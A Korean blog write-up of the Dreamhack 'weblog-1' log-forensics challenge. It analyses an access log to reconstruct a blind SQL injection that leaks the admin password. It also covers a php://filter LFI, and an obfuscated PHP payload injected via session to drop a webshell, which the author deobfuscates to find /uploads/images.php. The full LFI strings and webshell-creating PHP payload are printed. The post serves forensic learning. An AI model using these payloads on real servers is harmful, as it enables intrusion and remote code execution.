워게임/dreamhack

[dreamhack] weblog-1 문제풀이

  • -
[WEB] weblog-1 문제풀이

문제를 확인해보자.

 

 

주어진 코드와 로그를 분석해서 주어진 질문의 답을 찾으라고 한다.

 

일단 파일부터 다운로드 받아보자.

 

 

웹 서버의 Access log와 php로 작성된 소스코드 파일을 확인할 수 있다.

문제에 접속해보자.

 

 

Access log를 확인해보자.

 

 

상당히 눈이 아프기 때문에 엑셀 데이터 나누기 기능을 이용하여 보기 좋게 정리해보자.

공백으로 구분하고 로그 분석에 불필요해 보이는 셀들은 숨겨주자.

 

 

admin 계정의 pw가 탈취된 것을 찾아보자.

 

 

board.php에서 sort 파라미터에 sql 쿼리를 삽입하여 (username+0x3a+password) 문자열을 한글자씩 맞춰보고 있다.

 

 

보다보니 쿼리의 결과가 참일 때 응답 패킷의 길이가 1192이고 거짓일 때 응답 패킷의 길이가 841인것을 알 수 있다.

그럼 응답 길이가 1192인 것만 긁어서 확인해보면 된다.

 

참인 쿼리 결과에서 해당 아스키 코드 값들을 뽑아보자.

 

97,100,109,105,110,58,84,104,49,115,95,49,115,95,65,100,109,49,110,95,80,64,83,83,44,103,117,101,115,116,58,103,117,101,115,116

 

이 아스키 코드 값을 문자열로 바꿔보자.

 

asc="97","100","109","105","110","58","84","104","49","115","95","49","115","95","65","100","109","49","110","95","80","64","83","83","44","103","117","101","115","116","58","103","117","101","115","116"
result=""

for i in range(len(asc)):
    result+=chr(int(asc[i]))

print(result)

 

admin:Th1s_1s_Adm1n_P@SS,guest:guest 문자열은 username:password 이기 때문에

admin 계정의 패스워드는 Th1s_1s_Adm1n_P@SS 이다.

 

 

Access Log에서 config.php를 찾아보자.

 

GET /config.php HTTP/1.1
GET /admin/?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1

 

두가지가 나오는데 아무래도 아래 녀석인 것 같다.

php://filter를 이용한 LFI 페이로드인데 "php://filter/convert.base64-encode/resource=../config.php" 요 놈이 답이다.

 

GET /admin/?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1
GET /admin/?page=php://filter/convert.base64-encode/resource=users.php HTTP/1.1
GET /admin/?page=php://filter/convert.base64-encode/resource=memo.php HTTP/1.1
GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1
GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1

 

공격자는 LFI 취약점을 통해 php 파일 소스코드를 확인하고 /admin/memo.php 에 웹쉘을 삽입한다.

그리고 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 페이지에 접속한다.

 

 

/admin/memo.php 를 보면 memo 파라미터에 입력한 값을 session[memo]에 저장한다.

공격자는 세션이 저장된 파일을 읽음과 동시에 PHP 구문을 실행시키려고 하는 것이다.

 

이번 문제의 답은 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 이다.

 

 

공격자가 memo 페이지를 이용해 세션에 PHP 구문을 입력하고 해당 구문을 실행시키려 하는 것을 알아냈다.

문제를 보면 해당 구문이 웹쉘을 생성하는 구문인 것 같다. memo를 분석해서 웹쉘 경로를 파악해보자.

 

GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1

=>

<?php function m($l,$T=0){$K=date('Y-m-d');$_=strlen($l);$__=strlen($K);for($i=0;$i<$_;$i++){for($j=0;$j<$__; $j++){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return $l;} m('bmha[tqp[gkjpajpw')(m('+rev+sss+lpih+qthke`w+miecaw*tlt'),m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?')); ?>

=>

function m($l,$T=0){
$K=date('Y-m-d');
$_=strlen($l);
$__=strlen($K);
for($i=0;$i<$_;$i++){
for($j=0;$j<$__; $j++){
if($T){
$l[$i]=$K[$j]^$l[$i];
}
else{
$l[$i]=$l[$i]^$K[$j];
}
}
}
return $l;
}
echo m('bmha[tqp[gkjpajpw');
echo m('+rev+sss+lpih+qthke`w+miecaw*tlt');
echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?');
?>

 

구문은 난독화가 되어있지만, $K 즉 date 값으로 복호화가 된다.

해당 구문을 php online compiler로 돌려보자.

 

 

해괴망측한 결과가 나온다.

가만보자. php에서 date() 함수는 현재 날짜를 출력한다.

그럼 php 구문이 실행된 당시의 날짜로 해당 구문을 실행해야 한다.

 

Acess log에서 해당 구문이 실행된 날짜는 다음과 같다. [02/Jun/2020:09:55:39]

그럼 php 구문에서 $k='2020-06-02'로 수정해보자.

 

<?php
function m($l,$T=0){
$K='2020-06-02';
$_=strlen($l);
$__=strlen($K);
for($i=0;$i<$_;$i++){
for($j=0;$j<$__; $j++){
if($T){
$l[$i]=$K[$j]^$l[$i];
}
else{
$l[$i]=$l[$i]^$K[$j];
}
}
}
return $l;
}
echo m('bmha[tqp[gkjpajpw');
echo m('+rev+sss+lpih+qthke`w+miecaw*tlt');
echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?');
?>

 

웹쉘 파일 경로는 /var/www/html/uploads/images.php 이다.

 

GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1
GET /uploads/ HTTP/1.1
GET /uploads/memo.php?c=ls HTTP/1.1
GET /uploads/memo.php?c=id HTTP/1.1
GET /uploads/admin.php?c=id HTTP/1.1
GET /uploads/images.php?c=whoami HTTP/1.1
GET /uploads/apple.php?c=ls%20-al HTTP/1.1

 

생성된 웹쉘은 /uploads/images.php 이므로 처음 실행된 명령어는 whoami 이다.

 

 

문제풀이 끗

Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.